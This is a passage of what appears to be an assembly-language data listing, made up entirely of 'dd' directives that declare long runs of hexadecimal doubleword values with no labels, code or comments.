0AB0CB3E9h, 60E1BCE1h, 0F6422380h, 775F6A82h, 0BA04004Ch dd 0CA8A42E4h, 0A2004538h, 64DB0BE4h, 7A2FF6B2h, 0B857023Ch dd 4213D2B0h, 0A111A865h, 8E1C5E80h, 60A57576h, 1C57B901h dd 56D4D831h, 1288B099h, 0CE2942h, 0EAAE0BE0h, 3B2CDB57h dd 616050C7h, 7EF6BB59h, 877B0F80h, 0FD0F7144h, 0D04CABE5h dd 1E532704h, 786A9A24h, 17465Eh, 0AFF72910h, 4A119676h dd 0D784024Ch, 58420B8Eh, 0F7C050EDh, 471D8F1h, 36CC7550h dd 86089038h, 1000A69Bh, 0A7D93FACh, 8E083Ch, 18A9ADC1h dd 0CB74721Eh, 52B4E957h, 308BE214h, 0BA06594Bh, 0DD7F12Eh dd 0B1471DF1h, 98DA0083h, 772C9AA7h, 48ED6924h, 6BCE2804h dd 1BC8188Bh, 4E2EE1C0h, 0D1032E4Ah, 86760216h, 0A4822029h dd 0B0E4A068h, 0E174BEF8h, 748B3496h, 467482CFh, 25200C19h dd 12B14540h, 6E6BC7BFh, 3F90060h, 7DC842Eh, 9DC30166h dd 6B7D5A4h, 0D6689712h, 3BE07027h, 249EAF05h, 2CDC98F3h dd 0BE0001Ch, 1D7B391Fh, 890914B2h, 9F06FE1h, 58F0C648h dd 8C73284Fh, 0A3C702Ch, 28626416h, 7B9F2065h, 7300493Ch dd 0C53210B8h, 678BF0DDh, 0B47215Dh, 6D3B24C8h, 0D6E8DF0Ch dd 0E67B10Ch, 0CE91897Fh, 533D4F80h, 8CEAC0FAh, 50BD4526h dd 80B80394h, 1EADCD29h, 5E8C061Ah, 490A7439h, 0D8D70F2Eh dd 0D1700349h, 0ACB10CD5h, 5B41F702h, 0A614DB00h, 8E5948FFh dd 0B06B4947h, 4638C9B8h, 8E10767Dh, 8BE52355h, 0C08788CCh dd 0AFBB609Bh, 8E168490h, 48283111h, 278C2659h, 18670F30h dd 1E84EF40h, 0FC99D744h, 839A003Fh, 2B34FCBEh, 0C8E60363h dd 0FDDB96F4h, 99EB6C0h, 8160035Ch, 0EB1D5306h, 0E6D4A371h dd 4BBC07E8h, 0B03519DAh, 0BA0F88C4h, 68401C26h, 62FDF309h dd 0C490E51Ch, 6B34604Dh, 0A361005Ah, 0B084948Dh, 0BE24CFE9h dd 9CA198EBh, 1E1882F1h, 25701C90h, 65EAC70Fh, 198C0292h dd 920D08Bh, 56CE02BDh, 176458E7h, 48246760h, 0ED78514h dd 0BF6E000Ch, 0A91E020h, 64380012h, 0EB8A6C43h, 1A627ED7h dd 0E74440D0h, 606344D0h, 18435ABFh, 0B86B1A2Ah, 0BCA17B8Bh dd 5C401857h, 63251CC4h, 6102D896h, 39E0C448h, 0B94C7270h dd 2DB10040h, 6DF9F8D6h, 93E33700h, 8FB8051Dh, 1C74262Ah dd 8CC80C1Ch, 58C5579h, 0A2B9C442h, 67F83853h, 96C44A00h dd 974C6C24h, 2CB70064h, 8259F38Ch, 0E26404Dh, 0D03B6A8Ah dd 2A1055D0h, 304A65AAh, 9E7661E4h, 84443D24h, 0C340F02Eh dd 2407DFC2h, 8004F503h, 417588CEh, 6002BB0Bh, 6851D184h dd 86607AAAh, 0B5F4DCh, 32578DC7h, 0ABED43F1h, 0DC255406h dd 1261A06Fh, 428C4128h, 0E0D46604h, 3BF84E0h, 2002499h dd 0FEF0CEE9h, 60497CA7h, 7B81198Dh, 0C8731F64h, 0A5D71507h dd 86A03F20h, 12A47592h, 903758F1h, 35A7577Ch, 0F5F78900h dd 0DB5A1F8Ah, 36760E05h, 3B6C73F6h, 0BF007929h, 5B47EB64h dd 51C5F8h, 8656E98Bh, 68AE2E84h, 0D0624426h, 60CC0D42h dd 483B01BAh, 37F8D8F4h, 9CE6258Ch, 0BCB13498h, 0DE5E67EAh dd 7831B3F1h, 82A22463h, 2FA730h, 1AFFB516h, 0D652CBD7h dd 0CF203098h, 3AEE029Eh, 0BF383C6Dh, 16795CD9h, 0E60F5518h dd 89222AAAh, 5798415Dh, 0DECE2310h, 3006D801h, 353751CAh dd 6147F980h, 87BC1716h, 5B938h, 407C2432h, 78D043h, 0A54AE8D4h dd 18C468Dh, 1FA07759h, 0E064FFBDh, 0E8207443h, 0C9C76Fh dd 0FD9E4A22h, 1DBBDC44h, 5D6CDD00h, 0D45A2A9Dh, 0BDF60928h dd 28684FF5h, 74800CDAh, 258937BEh, 0ACD48418h, 0E8004830h dd 0FD708C36h, 10887A4Ch, 8813894Fh, 45C90D7h, 0B6001001h dd 0EAF398C7h, 770FEA9h, 0DEE3DDFBh, 0F5DFE517h, 8E5EF040h dd 0C8C9D100h, 0B0D657EDh, 2187951h, 0A2B7284Ch, 786324FBh dd 3C8D60C4h, 8CD6235Ch, 9C007A11h, 6AFC3C74h, 21009A55h dd 0F396CCA6h, 607E393Fh, 18BA907h, 0C0C1F2C7h, 73A20AA3h dd 518032Ah, 0E181BC2Bh, 5770306Bh, 30D15899h, 0F900B618h dd 0BF62E83Ch, 5827A602h, 19EC181Ch, 21EF008Ch, 240777A9h dd 765039ECh, 0EA6F0F64h, 0F07802F9h, 5E45A8Fh, 45E5EDB1h dd 23F43AECh, 0D73004Ch, 80D854FBh, 25431C15h, 12572094h dd 4737198Bh, 10267858h, 898DA941h, 1744522Dh, 808A91C8h dd 160F04Dh, 0B67409F7h, 5807585Dh, 8E22F2BEh, 0FF09CCD0h dd 9F9BA3E1h, 804C1144h, 0D9A5B4F7h, 34E730Dh, 22BDF238h dd 0D80169EAh, 7AA2A0B1h, 10A55CDAh, 1A919817h, 46BBE181h dd 18F4D8ACh, 53648894h, 62233Ah, 72BD79DCh, 84A0824Eh dd 6E005668h, 75AEB7EAh, 1CA531F0h, 0CE357E73h, 7BCA2596h dd 4F467490h, 1E1DED00h, 0FB5EF306h, 0A38CDB12h, 330888h dd 7E6B0F73h dd 6EED506Ch, 0A4FA11Dh, 23405C80h, 0F0BCC12Bh, 0A00095E2h dd 0FF14D55Fh, 3744889Eh, 0D0C0F4B5h, 7AC5004Fh, 27F0864Ch dd 0B6161D55h, 770F78F1h, 7F32A6A3h, 765A0B48h, 60E242B7h dd 0A8A1587Bh, 0E2186071h, 0F65FD003h, 0C7AED8B9h, 0A240116Bh dd 1C0B5D18h, 0E56D768Fh, 56BA8064h, 5E31B21Ch, 0E8FE6300h dd 0AA6F018Ah, 140497EAh, 32248DCEh, 3017E23Ch, 7B022AC5h dd 59676F6h, 0C2A08E32h, 891CA2D7h, 15E8CC84h, 0F851FF9Dh dd 0A5C44680h, 0E899B3A2h, 0C44E6BC0h, 5450BAFh, 0D810D510h dd 0E1C08E03h, 8F4BCD0Fh, 0A4F80790h, 2E951Fh, 0D07E6042h dd 10A8275Ch, 0B700450Dh, 3A20E18Bh, 10184975h, 73512BDEh dd 1827140h, 0C9ECEF47h, 0BF10D6AFh, 89D780E9h, 8C40AC39h dd 85BC01C2h, 50E6DBB2h, 0C6A4686Dh, 513C37h, 29FC0DC5h dd 8BC373C2h, 0A306ABF6h, 67439EEh, 0DE660B59h, 0B00B6AFBh dd 0C6906CC6h, 7D6D4814h, 8E760BF8h, 2E981879h, 7628BE1Bh dd 8F008946h, 0BE83CBADh, 48C5188Ah, 0D0ECC77Eh, 4C30492Fh dd 48926AE9h, 0EB61C800h, 0EA2BE257h, 71B50038h, 0AAB0CD6Ch dd 0B73F4FDEh, 0BD9E8072h, 0A1517862h, 85263C81h, 0AC468815h dd 0CF3EF205h, 0F238A249h, 6D213083h, 0C405B6FCh, 20423943h dd 0D482BC65h, 0DD4C030h, 9C7B801Fh, 3F11B518h, 5C28B820h dd 0F1008CEh, 867C509Eh, 0B03B7C5Ah, 0C9051523h, 98331082h dd 0D93CC048h, 8C0B0019h, 159CAC83h, 53064F84h, 17238ADh dd 68590241h, 5087F05Bh, 0A809B0AFh, 5945C448h, 0D31C079Dh dd 5C945202h, 1D465E0Ch, 86E80803h, 19B0AE71h, 412DD6ECh dd 0BE2C9842h, 0B1751322h, 9CB88C56h, 0D8A18D24h, 467678AEh dd 0F06C0A8Bh, 76027082h, 0D024D2EFh, 99861010h, 0A3680C44h dd 567539FDh, 0BC01A8F5h, 5BEBDE67h, 845AE281h, 916F4001h dd 5133A21Ah, 8D4AB823h, 3597C86Ch, 4501B70Bh, 2568E889h dd 9D7002ADh, 0A35E8B87h, 0D6883468h, 0A430A097h, 1FAF6F7h dd 75FC5DDAh, 0E4ACD242h, 12056669h, 73BE092Dh, 8423883Ah dd 0E9500039h, 3BC3756Ch, 748B09AFh, 0D870F99Eh, 8CA04778h dd 0AC9E4DA1h, 591CD15Ah, 501883h, 2DEB7A32h, 0C9DD0A67h dd 0D454E305h, 0A0A00EEFh, 2C989345h, 4D4674C0h, 2A590B00h dd 0DE45350Eh, 0B96FA313h, 0DAD6CC22h, 1C4A2E58h, 438500CDh dd 6E7675E0h, 25075538h, 0E4C8652Eh, 2F1F6033h, 0C7611E05h dd 232023Bh, 0EC42954Bh, 0C586C401h, 443B2B4Eh, 8B006223h dd 46722B0Ch, 0ECA49561h, 7300B1B7h, 7C264C6Ch, 16A4AB58h dd 28104D78h, 40710464h, 0E485D65Bh, 1488D08Eh, 18C20C0h dd 0D89C631Bh, 5FE20929h, 78465864h, 47E4A702h, 0F0D9928Ah dd 0E4AF4060h, 0ACD607B1h, 702EC7A1h, 5C8EF08Fh, 0F9D4F9C1h dd 2F2FD974h, 760232Ch, 99F23464h, 3A1AD800h, 0A70BE9EDh dd 0C74AD876h, 618A44BCh, 7CD0F3F1h, 849249D7h, 208C4100h dd 0D5F27478h, 18C4ACA7h, 0D4D82C60h, 93FA1213h, 0FD38C8h dd 5A2A139Fh, 4FA749C5h, 12D92800h, 0A10D2F46h, 0FCD6526Eh dd 0ED5B0E03h, 0BA1DD461h, 0D028944Fh, 25728A21h, 1C64E845h dd 11FA0065h, 13492934h, 0B33B63Bh, 90AB871Ah, 9D5F5AD4h dd 0E38F3830h, 0E5DCBE00h, 44A83606h, 0D27A19E1h, 0A60F2874h dd 46747061h, 228E001Ch, 0A8A1F95Bh, 387C039Eh, 93BF018Ah dd 48F09068h, 23E80F04h, 71390A1Eh, 18013E34h, 0EA2A4829h dd 4C133F3Fh, 5D86F404h, 0DE00ACACh, 0D7A755F9h, 80987497h dd 12EA3440h, 0EC23CFh, 5E447620h, 3E2422BFh, 184C860h dd 0D307D4B6h, 0EC0178ACh, 27554BA5h, 0BFF1180h, 0C2FC941Fh dd 4B26678h, 226C3C5Ch, 0AAA43C5Eh, 898110C8h, 0D28F47BAh dd 5B8B8880h, 49059007h, 0DE296D35h, 4CFF90A4h, 53235C3Eh dd 0BBC44401h, 983343A2h, 0C44C6580h, 3800A997h, 45BD8016h dd 24FDDF02h, 5EE86BE1h, 35001846h, 0F398E019h, 9D7CBDF8h dd 2485252h, 0A2A4C445h, 6094D94Bh, 5C44D6Ah, 0BE711002h dd 81D3F1D5h, 0EDB5BFBCh, 0F4C3C004h, 34120746h, 0ECA08BD2h dd 0C2300F5Dh, 8002A35h, 0C87CE02Fh, 6A635212h, 2DD74D04h dd 8E72FC90h, 0D21F00B7h, 7CF97408h, 150E51EAh, 16258C1Ah dd 7DA64D0h, 77E0F584h, 0C5670359h, 92F7020Ch, 0D672700Ah dd 0D4ACD88Ah, 100D0BDEh, 0B4C58B46h, 0A56089E4h, 6F2DE315h dd 0F084A2BDh, 2F9C648Ch, 0EC908ABFh, 0B5EADDFBh, 7488200h dd 3959AEB6h, 0DA6B4F3Ch, 0B57BC018h, 3C53D8A1h, 0D6A50F63h dd 46FE1CA0h, 383A7BE8h, 0F6027AD4h, 62ECD16Fh, 0DE5CD4DCh dd 119E1721h, 2008AD36h, 272246D7h, 14DCE8EAh, 0E2D3007Ah dd 0E588FDA1h, 0D24FD1E7h, 19C8348Bh, 54F0CBC0h, 0FBA4CF5h dd 0BED4AB09h, 891004F3h, 3FBC499Fh, 1511B41Dh, 35C76B81h dd 4B9C243Dh, 0C82EDB00h, 5CF0A34Fh, 2AD60FE1h, 62C37ABFh dd 3A0038A6h, 0C2746BBDh, 12C0AAB0h, 0B51D3CBEh, 10C7FE08h dd 24601B44h, 800796A0h, 6021314Dh, 74A98D62h, 0E968055Ch dd 8BE8C1ECh, 70083BF7h, 0BF99808Ch, 6DB9B098h, 41B4F400h dd 38C7DB0Bh, 0ACEC382Ch, 39EF0404h, 509CC87Eh, 94BC6824h dd 0A653414Fh, 64230F8Ah, 623015A2h, 962CB8C0h, 87465E58h dd 0B4A3C807h, 86F0920Bh, 0D639285Ah, 3A3020D7h, 54988259h dd 22BDA0CAh, 0C888564Fh, 3BD04AD2h, 312370h, 4AE29942h dd 0F230B7D6h, 0C17C701Eh, 0D100B151h, 851830h, 1F433EA9h dd 782C2086h, 80BBE93Bh, 0BF4F5EE1h, 4AFDA7F4h, 601C0035h dd 2470ED4h, 865977E2h, 0E85E32A0h, 0E4F86582h, 8D71604Fh dd 64C50133h, 615A2D84h, 0B5CC4093h, 0FCBB482Bh, 603C8901h dd 7B18ACD6h, 709088h, 0B7DCF03Ch, 85C04F0Ah, 0BF11C600h dd 8FF37E81h, 60DEFFB4h, 5A96E0BCh, 0E820C405h, 971A8780h dd 0CBB41510h, 9DE90769h, 0F32AF34Eh, 0CFC196DAh, 38246193h dd 8C8BE874h, 848F0812h, 0EFD41820h, 0E00B40EEh, 0D718EBEEh dd 861113B2h, 7CA1CFF9h, 64582689h, 41C9A1F0h, 0BA2490E8h dd 0C5D216AAh, 19E8A04Fh, 3C0EFB4Bh, 804637F8h, 0BC302879h dd 809A6590h, 24345642h, 92333907h, 21036A1h, 0E43F7ACDh dd 675800DDh, 8C5F11D4h, 8095F3F9h, 3A2A2514h, 33818062h dd 8C00285Fh, 0D210C43Dh, 0F4408ADBh, 1C4049E4h, 4FA42468h dd 1817ADE8h, 0D8808791h, 0BC2EFB61h, 1B6740Ah, 0B4E0E03Fh dd 0D50590h, 0FC38BB83h, 4774BDFAh, 70D0C906h, 30299536h dd 6459F203h, 29003733h, 65219A66h, 1FAF53B8h, 6E8638C6h dd 25B4A114h, 0D4CF206Dh, 19CE10ECh, 5F32D60Bh, 7801CBDh dd 7E8641E1h, 0C5A829C8h, 45F1154h, 0C73AE9B1h, 62C65882h dd 74A87410h, 0ED0E8A46h, 1B0710E0h, 2E58E37Dh, 0CF5D6004h dd 74D132BAh, 64333B8Dh, 0DB3033A2h, 707F02CDh, 898F0C16h dd 1A00FC59h, 3952C4E8h, 5E872C7Bh, 14467C50h, 1A2A480Bh dd 109470D8h, 0C4BD6AC5h, 0A204ECACh, 25CACFD5h, 961AC040h dd 1802674Fh, 528A0762h, 0DCACD644h, 0B0D58B00h, 7119564Bh dd 7D3825B2h, 5720BC46h, 5003129Eh, 23A43E04h, 8E600082h dd 0A4E5DAA8h, 0E896C800h, 280EFDDFh, 30F21374h, 0E720F698h dd 42523BD0h, 0D7802421h, 122E087Ch, 8A72DB0Bh, 9F8000E1h dd 837D0DC3h, 26B617F0h, 88C08B82h, 7D32C133h, 0F539CC34h dd 669448FFh, 731C2090h dd 0FA0E1DC4h, 0AD23E029h, 318657EAh, 5A98E3E8h, 0D8940001h dd 5C84BEB4h, 331F6146h, 8C4F401Eh, 2483A34Dh, 0EDBCB11Ch dd 0C0200113h, 4604F7Bh, 320928B8h, 0B294F36Bh, 0B1D03014h dd 21755E14h, 88A41FC6h, 1D9831C9h, 80861134h, 0F3FA6444h dd 8AE90C9Ch, 4B1A701h, 0DE676D0Eh, 6F9162F6h, 135C52BCh dd 0E001BDFCh, 8A1C9BB0h, 0D8EA83F0h, 72D7D416h, 0E817E0A1h dd 91B8480Bh, 0DD5900F2h, 6669478h, 83002345h, 480D6843h dd 0B1BB403Ah, 74F82688h, 0F8006446h, 421A236Eh, 0C890BC69h dd 0E59A2407h, 3E31D44Fh, 8C7352E9h, 3F304FA2h, 0BFFCBDh dd 38C3EE41h, 86AECF94h, 8448D928h, 582DD401h, 28393CF8h dd 94F38BD0h, 2500DC28h, 1B354CDAh, 6EC1B675h, 0CF44605Ah dd 47B4D18Eh, 0F06082FDh, 9F2ACE88h, 1C63C98h, 0E9732D39h dd 0BC4C57BAh, 73328C4Eh, 5E7C843Ch, 0D49E5914h, 2A00EE3Ch dd 10620FD6h, 3D44EDCEh, 9612BD45h, 50F4F055h, 47D4388h dd 20BEAFA4h, 72888748h, 1C40013Eh, 0C883240Ah, 7CA66FDAh dd 0CF7E80FDh, 0F9187D01h, 0C6BFB17Ah, 23D82F3Fh, 0BBB0001Ah dd 7E44779Fh, 3D16140Bh, 1D448405h, 0A596E041h, 5BCC6C2Bh dd 0A1C0B09Ah, 2C442A60h, 802F1C4Ah, 0CF013623h, 833E4FEEh dd 681F5868h, 4D0110A6h, 0B0C8BD24h, 0A86404A9h, 0C1CA07D0h dd 2BA2EA4Ch, 98E22C17h, 303063F2h, 40649C68h, 22098676h dd 0E84E8492h, 28040DBh, 63493E7Fh, 2FF68303h, 0A0C010A0h dd 9017BC31h, 0D97426E0h, 0BD96C344h, 190021FAh, 9700123h dd 1A7AE163h, 56E67870h, 8B86960Bh, 0E4E4C51Eh, 4B67674Ch dd 0ED941690h, 45B4C7Ch, 62222A09h, 0F6878C56h, 0EF415158h dd 60202BCEh, 15C0BACFh, 0B49A85F0h, 7038BF0Bh, 0D20B4C10h dd 0B4F39F26h, 0D1753909h, 0E08B6044h, 42692D86h, 79E079E0h dd 35E91863h, 8F98D75Fh, 0C08888FCh, 552C7F96h, 4222A30Ch dd 30FFF87Eh, 0B8C15BE1h, 0A1757927h, 0D09B8D4Bh, 84231287h dd 38F480F4h, 323B9C69h, 0F6E112EAh, 8D0534B8h, 0ACFF2945h dd 8C1CBC0Ch, 39AF9100h, 904C3FA7h, 0A090B1Dh, 64782FFAh dd 8CE6BD1Eh, 46743CEEh, 12D50031h, 0BFD63F7Dh, 0B40850C2h dd 810569D4h, 37604C0h, 0F99EA083h, 20A4B532h, 5FC4BC5Eh dd 0D080FC9Bh, 5AF8886Fh, 702C7227h, 0D4D0D0FCh, 12693E10h dd 40B43590h, 0B5AE00ABh, 7386881Eh, 2601EDC6h, 0F0787A2Ch dd 0B18B698Dh, 9C0375AFh, 31E29998h, 0A75B64E8h, 8E76BB04h dd 48884CA1h, 47820A59h, 27CC920Eh, 42C048EDh, 0B72869Bh dd 16568EA2h, 1A0E0402h, 38B04E04h, 0BD1FC5Fh, 57EDE729h dd 3411E01Dh, 76395A82h, 0E98D487Eh, 7BFCF16Eh, 4B8800ECh dd 0A28D3BBEh, 0C302FBF1h, 0FF61FCE1h, 1F1CFA35h, 5FE1CB0h dd 84C92206h, 0E9B4E0AFh, 0EE6E1A09h, 56DF0688h, 90820059h dd 83F090Ch, 0AF5027F6h, 4521B6A0h, 11FC2047h, 4F86A868h dd 7360088h, 0A78A50A1h, 2C9107Dh, 9FF67B0Fh, 9BB13A01h dd 4011D466h, 4ED3E1C0h, 0C8E4CEF0h, 0C023C734h, 7B37BF31h dd 0F98E6209h, 324585Ch, 388C5988h, 58E835A2h, 0FC0974F5h dd 5402A75Fh, 3F803818h, 0E9843A04h, 58C93E2Ah, 8F609037h dd 55EE087Eh, 4676D210h, 521C0460h, 8CBCCC7Fh, 0AB1F8820h dd 5DE0D222h, 167E5CD0h, 0F4FE65D1h, 0EB09FB34h, 111882CFh dd 5918AEB0h, 76731C09h, 8078C54Dh, 0D41C52BEh, 10E667D5h dd 0DD16FBFCh, 0C452FE05h, 8623A43Ah, 7BD0E400h, 0D05EC47h dd 81DF018Ch, 229439D0h, 0FC10BFADh, 1C000EF1h, 4A9B70C1h dd 1484E783h, 0D0E9A019h, 4278304Ch, 60023C8Ch, 979D9439h dd 0DA0B004Fh, 9569AB5Ch, 0A705A2DBh, 92EF5419h, 5E0D68A8h dd 4241AEEAh, 0CE2AF344h, 0A716DE00h, 77081BEDh, 8A870782h dd 0C9D68638h, 0D8A184E6h, 2AE417AAh, 2E2FBCB2h, 3400C4E4h dd 0F755F1ECh, 1D3D9h, 5A232F7Eh, 0BD6680B9h, 0A7106004h dd 0F8C3F777h, 748904FFh, 0A95425BEh, 3AE841B8h, 88232C3Bh dd 6A67900h, 978EE4Ch, 7E93B2FFh, 0B45E64E4h, 0BC0B09Ah dd 0DAE0B90Dh, 0B059AB31h, 0B10033A1h, 0F64AC4BFh, 7146E0C8h dd 0EA140067h, 480EF3Fh, 0B1014906h, 3D5E5A0Ch, 20DAD726h dd 0F2F46033h, 4F38931Dh, 0D1AD6540h, 0BA159D96h, 87B84808h dd 5F8C4D4Eh, 8F51E539h, 0A7C75BA1h, 9C29AB2h, 7CCC5C5Ah dd 0CD001846h, 1EF361AAh, 6F59D18Ah, 0BCC85A34h, 52AD01BFh dd 0B4801E5Bh, 0ECC82A7Bh, 0F2B501C9h, 91A47872h, 0B7342021h dd 20BC6071h, 0B3E98904h, 95B464F4h, 7CFB2009h, 5A2F8D70h dd 506F8604h, 78A5D874h, 34601CC4h, 9939F2A5h, 0A4BC8052h dd 301867BDh, 0CEE60C9Bh, 7879F102h, 0C30077F8h, 446F1D1Ch dd 5C5ECC7h, 0CDE510A5h, 0C8548B9Dh, 6370C237h, 10B92441h dd 4EAAEF76h, 5BA82016h, 8E696E72h, 403874EAh, 9C848F83h dd 34C6BB01h, 3D67017Ch, 0B7331AD4h, 2565300Eh, 0E2F0F307h dd 0E3053015h, 0AD7550Ch, 2674902Fh, 5EECB4C4h, 0B9006546h dd 52EFB81Fh, 960C46D6h, 0F05EA9B5h, 4BEBF7D4h, 3AD81661h dd 1C36232Ch, 0EAAE8650h, 0E47B796Dh, 24C1D11Eh, 0EB8CE3C0h dd 5B6A4A0h, 6E6FE99Dh, 2E08A13Bh, 7C804CDBh, 2207D59Ah dd 5024684Bh, 0B099E40Eh, 1CF05876h, 8C87E8h, 6DEBD435h dd 68614F72h, 28E9BD65h, 5D8030FCh, 6F2EE3DFh, 5E257002h dd 6D447A8Ah, 4307E094h, 3824B98Dh, 341187Bh, 5864D71Ah dd 0E22A12A3h, 0C5B55382h, 0C0409E70h, 227AA2B3h, 0E32C966Bh dd 0ECB2839h, 7F71D999h, 9700806Eh, 489A405Ch, 731307CAh dd 1881FDBEh, 0C84E9B33h, 0C2CF8B88h, 5709BE76h, 16BFA0A1h dd 62A3002Ah, 0D9A51668h, 0C8C8CE03h, 44A0CE89h, 5B06DE75h dd 7C05C401h, 49A995F6h, 0D768709Ch, 0F2C0A2C7h, 387C301Dh dd 16EA677Dh, 8A5E5C39h, 0E842AF3Ah, 34E07516h, 1C699705h dd 0B89A2E82h, 86CBD3C0h, 0FE049E02h, 44E996AEh, 0BEE0C112h dd 640E2A79h, 51FA0B1Eh, 181A791Ch, 908400B9h, 9922EF6Bh dd 730039AAh, 67A297ECh, 9F540A40h, 378148B5h, 0C3EC468Bh dd 94DC442Eh, 8808CED9h, 0AF5DC064h, 703A8B78h, 59B0A7BCh dd 439280F4h, 2EC171E2h, 3E84D400h, 3A9A9F16h, 45FD010Bh dd 4DB7F08Eh, 2D86D170h, 0AB681F28h, 6224B1F7h, 881128C7h dd 442B2B0Eh, 92C4220h, 0F0C9026h, 0D02A54E9h, 84E51FBDh dd 8837251Dh, 0F98D707h, 0D0A31B02h, 26D24D0h, 1200F674h dd 0F8DE1140h, 4F1A7791h, 38C8C83Eh, 67002174h, 0B70648B1h dd 79086020h, 0F3EB07C5h, 5E40FB74h, 24D30F61h, 0B05827FEh dd 167616EFh, 0CCAA54BDh, 0BC16B100h, 4CB5CE1h, 8C162C8h dd 79D25DE8h, 18167958h, 82E03FD7h, 0ACF97400h, 0D8A19DE9h dd 8C405404h, 0F8B01719h, 9AB356Fh, 0DD140B38h, 71CE9CC7h dd 16F9E983h, 0D8B12AA9h, 352A9C61h, 0CD9794A5h, 0A3F8C048h dd 634FA622h, 205708C2h, 0D1839AE1h, 2DB8AF1Fh, 3B196C18h dd 542F60Ch, 72B8951h, 23D50063h, 3CCBA7F6h, 780BFE2Ch dd 4AAEEE60h, 79250001h, 3A3B2005h, 602748D1h, 7EA442B9h dd 4100D640h, 0B90DEA76h, 0B18A16h, 121EC87Eh, 0E5D40C23h dd 0D490B684h, 0B1A0C800h, 410857E1h, 73AB2875h, 5CB22090h dd 0C8D1C725h, 2F427BA8h, 444587CBh, 0B6604FE4h, 6501AD68h dd 3E4A7595h, 96D4185Bh dd 524B5B8Dh, 473009D0h, 0B03CA4C7h, 72A35142h, 0CC56599Eh dd 25F4D12Ch, 36D950F9h, 1238B418h, 0D0185D02h, 8C34A870h dd 0A08CC64Ah, 0CB9E4F90h, 0C04DC82Ch, 78A148A6h, 4B52D58h dd 0BACFD674h, 7104ACh, 80E188CAh, 99B71983h, 0B84EE94Eh dd 0B84890EFh, 40A1210h, 46F5BE7Ch, 7B395090h, 0D8AD9F7Dh dd 2900CE40h, 0C0709609h, 1B180FB8h, 47038C58h, 0D3103F3Dh dd 39A1178Ah, 29BC2072h, 0F4404BEAh, 405BF8BFh, 23F831AAh dd 4ED08140h, 0D4DC20FAh, 10744D15h, 890EA9DFh, 0B83D0A5Eh dd 4D4674h, 0C7BA9AF5h, 14E420ADh, 203E3661h, 93772E00h dd 9925A02Dh, 0D412D90Eh, 9C9ECA60h, 0F1896311h, 0B7BDF858h dd 3F0E09DCh, 590018F1h, 0CAA3E897h, 332B00F4h, 519FCCFBh dd 6404577Dh, 0DC30446Eh, 0D4B8EDC5h, 55D36C50h, 883E9484h dd 1B004B84h, 8B8299E3h, 0E4728E47h, 22580Dh, 5DC8E680h dd 0B30563A4h, 3A7AA292h, 813E40FCh, 9A30FD02h, 18FC8262h dd 55E800D6h, 9C1966F0h, 0DD00C0CEh, 107B7305h, 1334FB6Bh dd 0A319BB4h, 80A49FF8h, 6F05BEABh, 3248C9F1h, 135E1340h dd 0B0F288D4h, 293062F2h, 7ABE0BC7h, 0C7154B2h, 0ED1819D9h dd 0BA45D900h, 13EBDA36h, 0DC18B78Fh, 0C0044E2Eh, 6EE33533h dd 0BEFCE0h, 289D3114h, 27B6B758h, 467684BCh, 0F9057A88h dd 71105D59h, 0F0A9E053h, 7707C6E8h, 6203508h, 82D614h dd 0D8885328h, 3E021F01h, 38CAC024h, 0F4488A42h, 89037808h dd 4934C8Bh, 0A8B6708Eh, 1D4F4674h, 0E6804C23h, 0DD07A114h dd 0EA852795h, 8000859h, 0E5F9659h, 4AB1CADh, 808E1E98h dd 0D4CEAF3h, 29794F34h, 0B272E91Eh, 3527D4A6h, 46198064h dd 45CDB6ACh, 7FAAB180h, 58E54CD9h, 0E054A6D7h, 1E311DFh dd 0F0425CC5h, 0F059E899h, 0E02C6A24h, 4674D0E2h, 9C980461h dd 209D72E1h, 4BB05426h, 2216BD0Ch, 0EC407E46h, 0AB6DAC5Dh dd 3E8B892h, 342BDDF8h, 0A29CE5D0h, 3085F29Ch, 0F3003B84h dd 2C8FD45Dh, 48BEEF5Eh, 3054A017h, 796A026Ch, 8202A329h dd 810014D0h, 0D78F279Dh, 5FF05B20h, 0A77C8889h, 0C11DDA20h dd 484E1990h, 0D30C32DEh, 14B2ACF2h, 7E91DF30h, 122700BEh dd 5C4E786Bh, 4F7C8AA4h, 9080B04Eh, 829963E1h, 38037062h dd 0FEEB4D8Bh, 0F890F884h, 3A1E8C1Bh, 100FC91Ah, 8F051C5Dh dd 0D00446B7h, 0F0473BEh, 2B78E4E9h, 19EE0232h, 19988CC7h dd 0C0F40528h, 0F07AA46Fh, 8C2C5900h, 0E9C4C844h, 13D4B4h dd 5D1C2595h, 6B5F86Dh, 88F349D3h, 0B63031A2h, 0B6504BAh dd 0ACFEA7D6h, 0AD71130h, 2ED59901h, 0FC8E7957h, 0D47F7867h dd 2CC37E4Ah, 473D8241h, 603244E0h, 1BF15BCh, 0A7C0B0DDh dd 2B171A2Ah, 12D7985Dh, 0DBE43CE5h, 0F0E795F5h, 0DD603364h dd 5E04D1E3h, 544937C3h, 167A4881h, 105F4000h, 961A2B04h dd 44F97414h, 0F60072B8h, 0C64975EFh, 2CE8B12Ch, 8A04FF2h dd 7E001FD2h, 6F91402h, 80179D15h, 0B966291h, 0D000E185h dd 0CF4072B6h, 0E0AAB02Ch, 22A2CC00h, 9103755Eh, 40E549C4h dd 0D16084E4h, 5002C2F6h, 9FD692B2h, 7434509Dh, 23BF813Fh dd 0F05031DCh, 0BC6445F8h, 78EA480Fh, 0FA2A5582h, 94CC68EBh dd 247ABFC4h, 71553F00h, 0A20E2EBDh, 0BFE9D21Dh, 0F06861ADh dd 0E8265BD9h, 76387C58h, 6F1A241Eh, 0B7A02888h, 8CFB0B21h dd 24B27370h, 91D8F32Fh, 0BC344D54h, 0B5A100A2h, 7CDBE0A7h dd 0ED01EE06h, 748E1092h, 802EADBEh, 45BFEAACh, 0ACE84E67h dd 44ACC5C5h, 3F270716h, 0A4C23E4h, 1D8A663Bh, 0E00FC5Eh dd 82DD2955h, 1F009838h, 3525628Ah, 0C01A92EAh, 2AA2BE38h dd 0E8A0500Ah, 409573B3h, 803CE1D8h, 0FC9EEBD4h, 0D66704DCh dd 0D547D22Ah, 0D314BD00h, 3780709Ah, 21864B94h, 2F82070Eh dd 23BDC671h, 0FBB7E4A8h, 4F20C02Bh, 4097AF61h, 168DA0CCh dd 0AD5945h, 8AA5F3A4h, 735F0576h, 2880749Bh, 6F2D886Ah dd 26CB7900h, 8A4DD7BFh, 0AFF72ED1h, 0C8422F7Ch, 0E75E9074h dd 0E592D419h, 0B084AC03h, 436E32E8h, 88A2C048h, 4F0F330h dd 2A23496Fh, 4824C8EEh, 65670D09h, 0D0F80153h, 3A2A1F56h dd 21723F0h, 24066E58h, 0B4193E40h, 